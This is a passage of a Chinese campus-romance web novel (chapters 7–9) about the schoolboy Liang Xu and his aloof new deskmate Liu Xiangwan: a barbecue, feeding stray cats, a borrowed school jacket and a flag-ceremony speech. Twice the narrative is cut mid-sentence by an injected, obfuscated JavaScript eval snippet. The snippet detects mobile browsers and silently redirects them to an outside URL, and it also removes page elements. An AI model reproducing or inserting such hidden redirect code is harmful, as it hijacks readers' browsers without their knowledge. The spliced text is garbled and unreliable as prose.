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窗外,少年们的声音渐渐传入车内。 “行啊,”梁旭骑着一辆单车,像风一样从车旁呼啸而过,只有清朗的声音残余,“今天出去吃,我买单。” “我去,真的假的。” 另一个少年也毫不犹豫地也狂蹬起车子,在后面追逐着他的背影,“说话算话啊,狗旭!” 夕阳的余晖弥漫在大地上,将路两旁的梧桐树染成了金黄色,微风吹过,树叶影子在地上跳跃,仿佛是光在舞蹈。 男生们朝着地平线的风向狂奔,衣袂被风吹得鼓鼓的,好似在追逐着太阳。 下坡的路段风势强劲,绿意垂落在肩上,笑语和自行车的叮当声穿梭在小巷之中,少年们笑得开怀。 夕阳穿透了他们的发梢,投下斑斓的光影,衬托出他们的背影,像是一群飞翔的惊鸟,在晚霞的映衬下,充满了青春的活力。 柳向晚放下手里翻着的书,视线不由自主地追随他们,有几分向往。 耳边响起程辛的声音,冷漠而严厉,条理分明地安排着她周末的时间表,仿佛要把每一分钟都填满。 少年们已骑远,柳向晚仍旧远远地看着他们,在想: 有人莽莽撞撞,自由如风。 她却困处牢笼,身不由己。 车流疏通,轿车逐渐加速超过了骑着单车的少年们。 梁旭握着单车把手,回头望向朋友,不经意间看见了坐在车内的柳向晚。 少女坐在价格不菲的轿车之中,穿着一身miu系套装,头发乌黑顺直,落在肩上,像是一只漂亮的小鸟,优雅而冷傲。 然而,柳向晚望向他们的目光,却让梁旭愣了一下。 也许察觉到他们看见了自己,车窗缓缓升了上去,少女精致的面容消失在眼前。 车子从身边开过,逐渐拉开两人之间的距离。 梁旭骑车的速度不自觉慢了下来,身旁的朋友追上了他,好奇问:“怎么了?” 梁旭笑着摇头:“没什么。” 他脑海里下意识浮现起,柳向晚刚才的表情。 他忽然觉得,柳向晚像是一张想要张开翅膀的小鸟,但是被关在极尽奢华的笼子里。笼子上刺骨斑斑,几乎要穿破她的翅膀,可这只小鸟却还要顽强地昂起自己的头颅,不让人看出一丝一毫的脆弱。 只有看向笼子外的人时,眼底才忍不住流露出向往。 心底的弦像是被轻轻拨动,又闷闷回弹,梁旭失了片刻神,随后直到朋友催促地问他干什么呢,他才回过神来,重新踩上踏板。 风声在耳边呼啸。 梁旭望向了红色车尾灯消失的方向,半响,淡淡收回视线。 7. 文学城独家发布 天色逐渐暗了下来,梁旭和朋友们抵达了烧烤摊。 烧烤摊坐落于老城区的居民楼附近,只有夜黑了才开始营业。因此他们到时,老板还在摆摊子,几个男生主动上前帮忙摆桌子,引得不知道的路人路过时还揶揄老板从哪请了一群帅哥来帮忙。 男生们也哄笑一团,不语,只是一味地帮忙。 直至烧烤摊全部搬好,他们才坐下来点了一桌子烧烤,烧烤很快上齐,堆满了整个桌面,侧边放着几瓶冰可乐,老板特意过来说是送他们的。 少年们各自拆开一瓶冰饮,畅快饮下,夜晚的秋风带着阵阵凉意,烧烤摊上烟雾缭绕,慢慢沿着崎岖山城爬升,空气中都仿佛流动着孜然和辣椒粉的香味。 王磊大口咬下羊肉串,说起刚才骑车看到的女生,“你们是没看见,那姑娘真的巨好看,绝对的女神长相。” “哪个?”葛伟抬起头来,嘴角还沾着油渍,啧了一声道:“不会是坐白色宾利那个吧。” “我去,你咋知道,”王磊一惊,“你也看到了?” 梁旭仰头喝下可乐,他懒洋洋靠着塑料椅,长腿随意支着,不咸不淡补充道,“我们班的。” “你们班的?之前咋没见过这号人物?” “刚转学过来的。”葛伟嘿嘿一笑,趁机故意踢了踢梁旭的脚侧边,他挤眉弄眼道,“你该多问问旭子,这位大小姐可就是旭子同桌。” 梁旭没搭理他,兀自将可乐推至桌上,哗啦出一声轻微的滋啦声,显然对这种话题没什么兴趣。 但他没兴趣,其余几位男生倒是好奇起来了,一个接一个地盘问梁旭,那架势好像梁旭跟柳向晚不是简单地坐同桌,而是谈了一样。 梁旭:“……” 朋友们不依不饶:“不是,旭子,你同桌真大美女啊。” 梁旭掀起眼眸,整个人陷在椅子里,姿态懒散不端正,他手指滴答滴答地在椅边敲着,漫不经心地扯唇笑,拖着语调问:“怎么,就对她有兴趣。” “我这么个大帅哥坐你面前不感兴趣?” “滚啊!”朋友们各被他恶心的不行,瞬间不再提这个话题,生怕好像提一句,能被骚扰十句,“你丫一男的,我关注你干什么。” 唯有王磊似乎还不死心,一直在问:“你同桌叫什么名字?” “柳向晚。” 梁旭淡淡瞥了王磊一眼,似一眼看穿王磊的心思,他扯唇笑了下,漫不经意地收回目光,眼睫垂着,拖着气息轻飘飘“呵”了声,他岔开话题:“好了,时间不早了,大家快点儿吃,吃完我回去还得刷题。” 其余人忙着吃串,狼吞虎咽地拿起桌上的烤串,大口塞入,伴随着含糊的吞咽咀嚼声。 男生们嘴巴里大口嚼着烤串,不自觉加快了进食速度,桌上剩下的串也被迅速塞进嘴里,伴随几声狼吞虎咽的咀嚼声。 “回去刷竞赛题啊?那么努力?” “可不是嘛。”梁旭轻笑了一声,懒散地将手搭在旁边的椅子上,“马上要比赛了,得亡羊补牢一下。” 朋友斜他一眼,“行了,别装了,就你还亡羊补牢,对于你来说不就是十拿九稳的事儿吗。” “这不是要谦虚点吗?”梁旭扬眉,一副理直气壮的模样。 葛伟看不下去,抡起拳头就往梁旭肩上一砸,“得了,就你这常年数学第一的实力,谁敢说你没把握。”他狠狠咬下一口串,随口问起:“排球锦标赛是不是也快开始了,你这时间线挺紧啊。” “是,排球赛十月初。”梁旭道。 说起排球赛,大家的话篓子一下子又打开了。这几年教育局大力发展排球教育,每个学校都有重点的排球队伍。 “唉,说起来,我们一中排球队也是辉煌过。”王磊道,“这几年要不是还有梁旭和冷泽他们几个顶着,不知道我们校排球队得没落成什么样。” “是啊,我记得之前咱们学校也是有个主攻手,打得贼猛,叫啥来着。” 闻言,葛伟推了推梁旭,问道:“旭子,你还记得不,我记得我俩初中的时候还翘课去看他比赛来着。” “柳知安。”梁旭捏着可乐,漫不经心答。 “对,就是他,他打球可猛了,几乎没人敢接他的球。”葛伟说到一半,话又猛然一顿,有点惋惜,“不过怪可惜的,天妒英才,听说他高三那年因为大桥坍塌,意外去世了。” 一时间,大家沉默下来,气氛骤然沉默,不知道该如何接话。 王磊看了一圈朋友,拿起可乐碰了碰他们,不想让这低迷的情绪继续,便缓和气氛道:“柳知安,柳向晚,都姓柳啊,还挺难见到的姓氏,今天居然听到俩。” 他看了眼梁旭,开玩笑地捣了捣梁旭,“旭子,我看你可以回来问问你同桌,看看他俩是不是有点亲缘关系。” 梁旭慢腾腾撩起眼皮,瞥了他一眼,兴趣淡淡地喝着可乐:“再说。” 他扫过已经吃完的桌面,站起身来,懒洋洋地伸了个懒腰。昏黄的光影绰约地勾勒出他的身影,梁旭转头看大家,道:“行了,走吧,各回各家,周一见。” - 周末两天过得飞快,等再回神时,才发现已经周末午后。 柳向晚松了口气,她刚结束一天半的家教课程,一时间脑袋昏昏沉沉,什么想法都没有。少女发呆地望向窗外,看着树影摇晃,落了书桌一片碎银。 休息了好一会,她才有精气神起身下楼。 下楼时,客厅里已经没人,王姨也休班回家去了,整个偌大的别墅空空荡荡,只有柳向晚一个人。 阳光穿过一整片落地窗,带来一阵燥热的闷干气,好像能听见风的声音,安静而压抑。 自从爸爸和哥哥柳知安去世之后,家里大多时候,只有她一个人,程辛经常出差,经常工作到很晚,基本上顾不得她,只会间隙时透过监控观察她在做什么。 房子再大,也像一座没有人气的囚笼,将她困在其中,呼吸都格外沉重。 柳向晚垂眸,推开了大门,决定出门走一走。 九月中,秋老虎正盛,街道上车来车往,行人匆匆从面前经过。柳向晚则漫无目的地游走在街头,偶尔停下来观察商店橱窗,她喜欢这种被包裹在凡尘热闹中的感觉,这让她忘记了在家时的孤落感。 但没走多久,兜里的手机叮铃铃地响起来,是程辛打来的电话。 下意识呼出一口气,柳向晚接通电话。 “你在哪?”程辛冷淡的声音从电话中传出,“怎么没在家。” 开口就是质问,柳向晚垂下眼睫,盯着脚边的树叶看,没什么语气地答:“在槐树老街,出门随便逛逛。” “什么时候回去。” “一会就回去。”柳向晚捡起地上的落叶,轻轻在手中揉捏至出汁,“妈,你呢,什么时候回来。” 程辛关了手机中的监控,平声答:“我还有个会要开,晚点回去,先挂了。” 话音刚落,电话挂断。 柳向晚再度沉沉地呼出一口气,将手中揉碎的树叶丢进了垃圾箱,又从口袋中抽出纸巾,擦过指根残留的叶汁,心中压抑着一股难以言喻的压抑感。 有时候,她总觉得自己的生活,像是由程辛布下的一张名为关心的大网,大网将她笼罩,上面布满了数不清的监控和摄像头,时时刻刻监视着她,关注她的一举一动。 只要她有一丁点出格的行为,程辛就会打来询问的电话,其实暗自敲打她,让她退回程辛的掌控范围内。 站在街道上,柳向晚只觉得更不想回那个空荡荡,满是监控的家。 她沉默地叹了声气,从小巷穿过,找到记忆中拐角的那家便利店,打算买瓶饮料喝喝。 正当要进去时,忽然被一声“喵”叫吸引。 一只橘黄色小猫不知从哪窜出,跑到了她的脚边,又乖又萌地喵叫个不停,时而还翻过身来,露出淡黄色的肚皮,似乎在邀请她抚摸。 柳向晚愣了下,第一次碰到这种情况,有些不知所措,不知道是该移开脚,还是应该蹲下身抚摸它。 可是抚摸小猫吧……又莫名有点害怕。 就正当她不知道怎么办时,耳旁又传来一道柔软的女声:“小咪,过来,别吓姐姐。” 小猫闻声探起了头,但很快又收回脑袋,继续乖乖地拿着身体磨蹭在柳向晚腿边,不停地喵喵叫。 柳向晚求助地看向旁边的女人,女人无奈地笑了下,走过来,探下身来轻轻地抚摸着小猫的头,小猫很快又围绕着她转起来。 柳向晚没离开,也蹲下身来,安静地看着女人撸猫。 看了好一会,女人抬起眼来,温柔地注视着她:“是害怕吗?” 柳向晚摇了摇头,说不是,表示她只是没喂过猫,对小动物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287063|166948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的接触有点不知道怎么办。 “那要试试摸摸它吗?”女人抓起小猫的小爪子,做招财状地面向柳向晚,“很乖的。” 柳向晚抿了下唇,犹豫地决定了下,最终选择探出手,轻轻地触上了小猫头。 而她一触上去,小猫就立即乖乖地停下动作,一双大眼珠子眼巴巴地看着她。 心下一软,柳向晚瞬间大胆了起来,顺着毛撸起了猫,猫咪也很不怕人,顺从地在她手底下伸着懒腰。 “说起来,我第一次喂猫就是在这里。”女人见状笑了下,有些回忆起旧事,说起了第一次喂猫在这里遇到暗恋对象的事。 柳向晚好奇地追问:“有后来吗?” “后来啊——”宋予和站起身来,温和地注视着少女,轻轻笑了下,“我们在一起了。” 柳向晚微微一怔,没想到故事的结局是这般圆满,并不是只有暗恋的苦涩。她心下一动,瞬间盘算起回来叫娄宴青一起来这喂猫的想法。 这个姐姐能在这和她的暗恋对象在一起,她一定也能! 两人又简单地聊了几句,宋予和接了个电话,有事便转身离去,留下柳向晚在这逗猫。 又撸了一小会后,柳向晚去便利店买了瓶水和猫罐头,小猫则乖乖地跟着她身后,不叫也不乱跑。店员似乎也习以为常,并没有训斥地让小猫离开。 折返回大树下,柳向晚坐在石凳上,低头看着小猫倚偎在她脚边,大口吃着猫罐头,又忍不住轻轻摸了摸它的毛。 天气很好,空气中泛出暖洋洋的气味,像是被太阳晒过的被子,软软的、暖暖的,让人不由得放松下来。 梁旭站在不远处,不自觉地停下脚步,安静地看着这幕。 女生侧对着她,软风将她额边的碎发吹起,勾出浑然天成的天使面孔,鼻子挺,眼睫低垂着,黑而浓,垂着眼看小猫时褪去了身上的保护色的冷淡,只留下柔软。 风不知何时停了,柳向晚也似有感应地看向这边,对上了少年还未来得及收回的视线。 少年朝她扬眉一笑,笑眼在阳光下灿然明媚。 顿时间,柳向晚眼神微微一顿,瞬间不自在起来,有些尴尬于被人撞见了与往日完全不一样的柔软形象,仿佛自己做了与人设不符的行为一般。 梁旭挑眉,大步走来,声音松散藏笑:“好巧。” 柳向晚尴尬地撩起头发,往石凳一边坐了坐,空出一边位置,也同回了句“好巧”。 看了一眼空出的位置,梁旭没坐,二刷从背包中拿出一包猫条,蹲下身来,伸手轻轻地摸了摸正在吃罐头的小猫。 猫咪似乎很熟悉他,一点也不怕生地靠着他,甚至还伸出舌头舔了舔他的手指。 柳向晚默默坐回原来的位置,惊讶地看着他,问道:“你之前是喂过它吗?” 梁旭半抬起头来看女生,头顶的树叶发出沙沙声,将他琥珀色的眼眸照得更加明显。他散漫地嗯了声,说:“这片流浪猫多,我时不时会过来喂一下。” 柳向晚手撑在石凳两侧,想了半天不知道说什么,干巴巴来了句:“那你还挺有善心。” 被她的评价逗笑,梁旭抬起眼来,故意客气地学她道:“你也挺有善心,不是也在喂小猫吗?” 他将手里的猫条拆开,递给柳向晚,“要试试这个吗,喂小猫的时候,它们会离你近一点。” 柳向晚愣了下,低眸看了眼半蹲在地上的少年。 少年穿着黑色短袖,袖套包裹着手臂,整个人看起来有些随意,蹲在地上微微昂头看她时,莫名有种他像是一只大狗,仰视着他的主人一般。 “哦……”柳向晚接过猫条,在已经吃完的猫罐头面前晃了两下,小猫瞬间扑了过来,伸出爪子抓住了猫条,开始小口舔着猫条。 一边喂着小猫,柳向晚心里有种奇怪的感觉,觉得自己这位同桌似乎对她的态度有了些微妙的变化。 但为什么变化……柳向晚并没有想明白,只是心存疑惑。 正当她想开口说些什么的时候,梁旭忽然抬起了眼,刚好对上了她的目光。 视线在半空交汇。 少年有些不自然地错开视线,他垂下头去撸猫,手指在猫头上胡乱地揉摸:“那个……上次说让你找别人坐同桌,是我不对。” 他顿了一下,继续低声道:“下次不会再说这种话了,对不起。” 8. 文学城独家发布 风好像静了下来。 耳朵里一时间只有男生的声音。 柳向晚愣住了,甚至有点没反应过来,呆了两秒,才想明白梁旭是在为那日说她可以找别人换座位的事道歉。 一件很小的事……小到柳向晚其实已经忘记了。但完全没想到少年还会因为这件事,而郑重地向她道歉。 她眨巴了下眼睛,下意识脱口而吹:“我才不会在乎这种小事呢。” 话音落下,又觉得自己态度似乎有点不太好。少女抿了下唇,别开视线,故意哼了声,才装作轻描淡写地又换了种说法:“我是说,这种小事,我早就忘记了。” 语气听起来格外官方。 没忍住低声笑了下,梁旭看着少女,刚要说话时,身边忽然传来另一道“喵”叫。 一只通身纯白的小猫从灌木丛中跃出,跳到了石凳上,小猫头高昂着,宝石般的双眼冷冷地俯视着趴在地上吃猫条的橘黄小猫。 它又跳到地上,看了一眼梁旭和柳向晚,走来走去,慢悠悠地踱着步子。 小橘猫勤头狂吃,小白猫也在从容暗示,一副想吃猫条,但不肯开口的经典傲娇款。 观察了许久,柳向晚惊讶地“诶”了声,问梁旭:“它是不是也想吃猫条。” “应该是的。”梁旭又从书包中拆开一包猫条,递给柳向晚。 柳向晚没接,眼神看向他,“你喂吧。” 今天都是她在撸猫,喂猫,多少有点不好意思。 梁旭将手中的猫条拆开,主动递到了白猫面前,白猫嗅了嗅,才抬起爪子,抓住了猫条慢慢舔舐。 柳向晚伸出头,摸了摸它的头,微微吐槽道:“还挺傲娇。” 闻言,梁旭抬起眼眸,眼底带着细碎的笑意,他轻笑了声,“不觉得它挺像一个人吗?” “像谁?” “诶,你不知道吗?”少年站起身来,扬了扬眉,气势一下子变得居高临下起来,他懒洋洋笑了声,“那我也不知道。” “……” 对嘛,又恢复那个正常的梁旭了。 柳向晚无语地白了他一眼,并没有在这个问题上深究,她摸了摸两个小猫头,安静地晒着太阳,忽然想起来,抬头问梁旭:“对了,你怎么想起来来这?” “我在旁边打球。”梁旭靠着旁边的大树,仰头喝下矿泉水,“刚好打完球过来喂小猫。” 他低头拧紧瓶盖,又抬起头来,似乎想起了什么,思索片刻后道:“身上有点汗,所以没好意思坐你旁边。” 言下之意,并不是嫌弃她,而是自己身上有汗,才没坐柳向晚让出的位置上。 柳向晚摸着猫的手一顿,撩起眼眸对上少年的视线,更加没想到他连这种细节都注意到了,甚至还特意开口解释。 不对!她在他眼里是什么很小心眼的人吗! 她别扭地轻“哦”了声,不自然地捏住了石凳边缘,“我才没有多想!” “……” 简直不打自招。 眼底情不禁泛起笑意,少年特意收起唇角的笑意,他看向柳向晚,声调慢悠悠地像是在哄人。 “嗯,你没有,是我非要解释。” 什么啊!更像她小心眼了…… 柳向晚腮帮子鼓起一点气,不太好意思地装作看时间,慌不择言道:“好像也不早了,那个…我先回去了,晚上学校见。”说着,就拎起刚买的水就落荒而逃了。 梁旭则站在她后面,看着少女的身影逐渐消失在眼前,唇角忍不住一翘再翘。 怎么办,逗大小姐上瘾了好像。 - 当晚返校上完晚自习后,完整的一周便在指缝中流失至彻底消失,转眼又开始了新的一周,到了周而复始的星期一。 上午第二节课结束之后,老俞并未按时下课,而是看了眼手机后,在下课铃中让大家肃静。 “安静一下。”老俞胳膊中夹住教案,“今天升旗有市里面领导来检查,一个两个地都把校服给我穿好了。” 说完这话,他就离开班级,扬长而去。 在一片闹哄哄中,柳向晚试图追上老俞,说自己没校服的事,最后却被人群围堵得连老俞的影都没见到,只好败兴而归。 回到座位,柳向晚看着班级同学们一个两个套上了塞在桌洞里的校服,一时间有些头疼,甚至在想,要不要去厕所躲过升旗仪式的检查了。 班级里人群逐渐散去,柳向晚仍呆着自己位置上。 梁旭推开后桌的桌子,察觉到不对劲,临走时,随口问了句:“怎么了?” “我没校服。”柳向晚有点崩溃。 从她开学报道时,老俞就说下次给她找套校服,结果一直找到现在,都没下文。而柳向晚则看平时也没有要穿校服的时候,就一直没有提醒老俞,哪成想碰上了领导视察。 “你没校服,”梁旭皱了一下眉,“老俞没说这事吗?” 他垂眸看了眼少女,在她身上定了一秒,径直将身上套着的校服外套脱下,递给柳向晚,“要不你先穿我的应急一下。” 少年的手修长有力,手背上盘浮着青筋线条,勾着件校服,松松垮垮。 柳向晚顿了下,没有接,她抬起头来看他:“我穿了,你穿什么?” “我今天可以不用穿。” 少年懒洋洋的声调落在耳边,柳向晚不知就里地看着他:“为什么?” 闻言,梁旭轻飘飘笑了声,他挑起眉梢,拖着语调,带着股天然的散漫劲,“因为我今天是学生代表,上台演讲可以不用穿校服。” “……” 也是,学生会只会管台下的学生有没有穿校服,台上的学生代表反而没人管。 犹豫了一下,柳向晚最终为了不在班级队伍里太过突兀,还是接过了梁旭的校服,利落地套上了身。 宽大的校服瞬间罩在她身上,袖口长了很多,将指尖盖住。她低头挽袖,鼻尖闻到校服上带着的淡淡柠檬味,应该是洗衣液残留下来的味道。 又抬手撩起脸颊旁的碎发,柳向晚顺势看向少年,才发现梁旭褪去了蓝白校服外套后,今天穿得格外正式,白衬衫,黑色西裤,袖口挽了一拳,露出削瘦的手腕。 不动时,气质如清泉水般出尘,然而恰恰相反,少年姿态懒散,靠在桌边,单手抄兜,阳光倾泻地落在他肩上,恰好风吹过,将他身上的白衬衫吹得飒飒摆动,身上溢出干净清爽的少年气息。 猛地被男色晃了下眼,柳向晚刚要说出口的“谢谢”卡在了嗓子里。 不等她反应,葛伟突然从旁边冒了出来,拍上了梁旭的肩膀。 看见柳向晚身上那件明显大了一号的校服外套 “怎么还没走,等你老半天了。”葛伟看见了柳向晚身上那件明显大了好几个码的校服外套,吃了一惊,转头问梁旭:“我去,你校服怎么借大小姐了?” “人有名字。”梁旭拍下葛伟放在他肩上的手,不咸不淡地扫了他一眼,“别乱喊。” “……” 葛伟忍不住无语,明明之前还是梁旭先叫的大小姐,现在反倒是他被倒打一耙了。 他转头看向柳向晚,诚恳道歉:“不好意思。” 柳向晚不太在意,摆了摆手:“没事。” 班里的同学陆续走出教室,已没剩下什么人。 梁旭看了一眼时间,偏头问她:“一起走?” 柳向晚顿了顿,点了下头,说好。 …… 楼道里已经没什么人,穿过稀松的人群,三人很快下了楼,又在楼下,扩大了队伍,陈洱也加入了他们。 柳向晚认得他,之前在烧烤摊上见过一面,知道他和梁旭他们关系不错。 两个对视了一眼,相互打了声招呼,又继续朝操场走去。 途中,葛伟偷偷摸摸地拽过梁旭,凑近后小声嘀咕:“不是,旭子,你什么时候和你同桌关系那么好了?” 葛伟实为不解,这转头也就过了几天,梁旭怎么跟变了个态度一样,上次还一副“要让大小姐知难而退”的架势,结果今天倒好,校服都借给人家了。 他揶揄道:“怎么的,知难而退,改你自己知难而退了?” 梁旭轻飘飘瞥他一眼,“我什么时候说过这话?” “……” 葛伟一时语塞,想反驳又找不到证据,只能憋屈地“好好好”连说了几声,认了这回事。 梁旭则淡淡地看了他一眼,余光看向了旁边的柳向晚。 少女刻意和他们保持一段不远不近的距离,双手插在校服外套的口袋中,看着更加清瘦,似纸片人般单薄。 他垂眸笑了下,其实也没想到,短短几天,自己会对柳向晚的印象变化那么多。 一开始觉得这人自持清高,大小姐脾气一身,还不合群。但后来,他上课被提问,明明刚闹过别扭,柳向晚仍告诉了他答案。星期五回家,又撞见她眼中的寂寥,似窥见她背后的故事。星期天,又看见她喂猫,明明不太敢摸,却很耐心,眼神也比平时看人时要柔和得多。 她好像并不完全是表面上的那个性格。 梁旭收回视线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287064|166948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手抄在兜里,懒洋洋地开口:“人挺好的,不是想象中那样。” “……” 葛伟顿了几秒,左看右看柳向晚,也只觉得就是个大小姐,横竖没看出其他可能来,只能认为自己兄弟是被洗脑了。 没再搭理他,梁旭步伐微顿,慢悠悠走到柳向晚身侧,挡住了快要撞上柳向晚的人流。 柳向晚察觉旁边来人,抬头看见了他,问:“你怎么来了?” 人群擦肩而过,梁旭低头看她,语气调侃:“看你快要掉队了,过来看看怎么回事。” 柳向晚忍不住反驳:“我只是走的慢了点。” 而且她也是特意和梁旭他们保持了点微妙的距离,毕竟和他们不太熟,走在一起,没话可说时也有点尴尬。 梁旭闻言,挑眉笑了下,慢悠悠道:“是,是我们走太快了。” 少女撇开了视线,摆出一副“懒得理你”的姿态,目光笔直地往前走。 走了约半分钟,前面的葛伟和陈洱已走远,而梁旭还不紧不慢地迈着小步,保持着和她一样的速率,毫无要追上他两个朋友的意思。 柳向晚见他迟迟不走,稍觉尴尬,主动找话题,“你们刚才在聊什么。” “说的排球联赛。”梁旭脸不红心不跳地扯谎。 想起了第一次见着人时似乎就在打排球,柳向晚随口问,“是你要参加吗?” 梁旭懒洋洋拖着腔:“嗯,十月初比赛。” 两人走到了操场大营地,身边的人群逐渐分流至各班站位。 柳向晚下意识接话道:“还挺巧的,我哥也会打排球,他以前就是一中校排球队的。” 梁旭垂下眸,想起了王磊的话,他一笑,问:“那你会吗?” “以前会一点。”柳向晚站到了自班队伍里,“现在不太会了。” 梁旭则继续往前走,看了她一眼,声线松散,“下次可以一起打打试试。” 他说完这话,便顺着人群往前走,一直走到了主席台附近。 - 初秋阳光正好,操场上浩浩荡荡,站满了排列整齐的学生。 他们班的位置很好,正对主席台,柳向晚站在人群时,校服袖口捋了上去,又忽然掉了下来,她随手拢了拢,目光落在主席台上。 校领导讲话完毕后,台上的话筒忽然发出了“滋啦滋啦”的声响。 再一看,梁旭站到了台前,用纸擦去了话筒上,领导留下的口水。 光影婆娑下,少年没穿校服外套,着件白净的衬衫,他单手插兜,懒懒散散地笑,眉宇间透着朝气。 台下的同学被他吸引,一时间各种交头接耳的声音安静下来。 纵是那么多人盯着,少年神色自若,淡定而松弛,微微俯下身来,对着话筒,声音不似平日里的散漫,反而多了几分沉稳。 “大家好,我是高二一班的梁旭。” 忽然间,台上声音又开始嘈杂起来,柳向晚站在人群中,清晰地捕捉到,附近的几个女生和朋友说着好帅啊,满眼放星。 少年则低眸笑了笑,全当没听见这些声音。 “很荣幸今天能上台,和大家分享我的学习经验。” 梁旭微微抬眸,看着台下所有人,漫出张扬的意气风发感。明明手里拿着稿子,却看也没看,很流畅地开始了演讲。 他声音清晰,语调并不拖沓,比起领导拿着稿子念的死板感,显得格外游刃有余。 阳光斜斜地高高挂着,铺满了整片操场,每个人都感受到暖洋洋的暖意。 文稿内容不长,内容很快结束。 最后一刻。 梁旭随手折起稿子,直视着所有人,阳光落在他身上,好似为他加冕上战袍,永远所向披靡,永远自由似风。 “在最后,想和大家分享一首海子的诗——” “我无限地热爱着新的一日,今天的太阳,今天的马,今天的花楸树,使我健康,富足,拥有一生。” “生活中兴许有许多不如意的地方,但每一天都是全新的一天,值得我们热爱,努力成为更好的自己。” “请记住!” “我们终将上岸,阳光万里!” 少年声音铿锵有力,穿透学校震动的音响,传遍了一整个操场。 柳向晚站在台下,抬起眸睫,似乎穿过遥远的距离,对上了梁旭看过来的目光。 心里却不自觉在想—— 好吧,似乎她这个同桌,也并没有那么差劲,至少……演讲的时候还挺像回事的。 人好像也挺好的。 9. 文学城独家发布 友好相处了近半月,这半个月里,柳向晚和梁旭的关系总算不似最初那般暗戳戳的针锋相对,反倒有种奇异的平和,下课了也会时不时沟通两句,交往中也逐渐摸清了彼此的性格。 一个确实有点大小姐性格,一个也确实散漫不着调。 九月底,阳光明媚。 柳向晚照常去上学,早自习时发现梁旭没来,书包都没在学校。 起初,她以为梁旭可能是早上睡过头,迟到了。但没成想,几节课过后,男生依旧没有在班里出现。 她才后知后觉地意识到,梁旭可能请假了。 一时间,心里忽然有点奇怪的不自在。 少了某人的存在,就像是少了会动的跳蚤般。 平日在班里,她没熟悉的朋友,很少和其他同学沟通,一般情况下,都是低着头默默学习和看书。只有梁旭偶尔凑过来犯欠时,才会和他互怼两句。 一两句不算多,但也莫名让她在枯燥的学习中,感受片刻放松,不至于时时刻刻紧绷。 而这人一不在,周围最显著的变化,就是身边安静了许多。 柳向晚顿了下,才发现,整个班里,她除了和梁旭熟悉一点,她没有任何熟悉的人。 想找个人说话,都不知道该跟谁说话。 正走神时,下课铃声响起,周围的同学纷纷活动起来。有的迫不及待地叽叽喳喳起来,有的则跟朋友讨论起上课的题目来,也有人像她一样发呆。 班级内,嘈杂声此起彼伏,踊跃在耳边。 柳向晚回过神来,看着黑板抄下还没记完的笔记,只感觉心神似乎也受到了干扰。 抄完笔记,她抬手活动了下僵硬的脖颈,同时目光不自觉看向了右前方。 没有停顿地、丝滑地和精准地落至了第二排中间正在学习的小姑娘上。 小姑娘是张之筱,也就是开学考考了班一的女生。 柳向晚已经偷偷观察她好几个星期了。一开始是胜负心爆棚,把张之筱当成竞争对手,想看看她是怎么学的。但后来,女生却成了支撑她学下去的精神动力。 学累了,柳向晚抬起头来,看到她也在学,就不自觉打起精神,再度学习起来。 但今天却不知道怎么回事,看张之筱没用了,该走神还是走神。 生物老师在讲台上站着,吐沫星子满天飞,飞射到第一排同学脸上,同学早已习惯,默默起来备好的纸巾擦去水迹。 上课的内容,家教老师早已教过一遍,柳向晚听着听着,目光又再次失焦起来,手中捏着的黑笔在课本上划过,黑墨慢慢渗透纸张,等回过神来时,墨渍已经沾染上了手侧。 从桌洞中抽出湿巾,擦过墨渍,柳向晚下意识看向了旁边空荡荡的座位,想起了开学时,梁旭还讽刺她装什么,墨渍都染上手的事。 不过也算万幸,梁旭今天没在,不能及时嘲讽她。 擦拭干净手侧,柳向晚又看了眼梁旭的座位,在想他今天为什么没来,是生病了吗? 这个问题一直在心头盘旋,直至下课,柳向晚还是没忍住在想梁旭为什么没来。她随手拿起水杯,打算出班接水。 正要从后门走时,柳向晚犹豫了下,主动问起梁旭的后桌。 “诶,你知道梁旭今天怎么没来吗?” 后桌正发呆着,被她问得一愣,他不知所措地摸了摸后脑勺,看了眼梁旭空着的板凳,墨迹半天最后说了句废话:“可能有事吧……” 柳向晚:“……” 她几不可闻地叹了口气,还是礼貌性地说了句谢谢,随即抱着沉甸甸的水杯出了门,去走廊尽头的开水机处接水。 走廊上这会儿人正多,人来人往,大家都趁着课间间隙,出来缓一口气。 心里想着事,柳向晚心不在焉地接完热身,一边垂眸拧杯盖,一边本能地给后面排队的人让出位置。 她转身,肩膀擦过了另一个肩膀,意外地撞上了同样过来接水的张之筱。 水杯没拧紧,肩膀擦过的瞬间溢出水,在空中溅起片片水花,透过水花,两个少女同时看向了彼此的眼睛。 “对不起对不起。”柳向晚脱口而出,紧急拉过张之筱,但仍有水珠落到她身上。 水滴温热,触碰到皮肤。张之筱没感到烫意,她下意识盯着拉住她的柳向晚看,神色带了点怔然。阳光穿过背后枫树林洒入,少女短发随着动作微微扬起,露出一张清丽冷淡的面容,但眼睛却担心地看着她。 “你有被烫到吗?”柳向晚赶紧问她。 张之筱还是发愣,眼睛直勾勾盯着美女看,慢吞吞摇头:“没要烫到,水是温的。” 她说了这话,柳向晚才反应过来,自己杯子里的凉水没有倒,她又只接了一点热水,整体水温也只是趋于温热的状态。 但她还是严谨地倒出一点水在手心,确定水是温的,也确定张之筱没有烫伤后,才松了口气。 随即,又等张之筱接完自己的热水,柳向晚又从旁边走过来,靠近她,询问她要不要去医院看看。 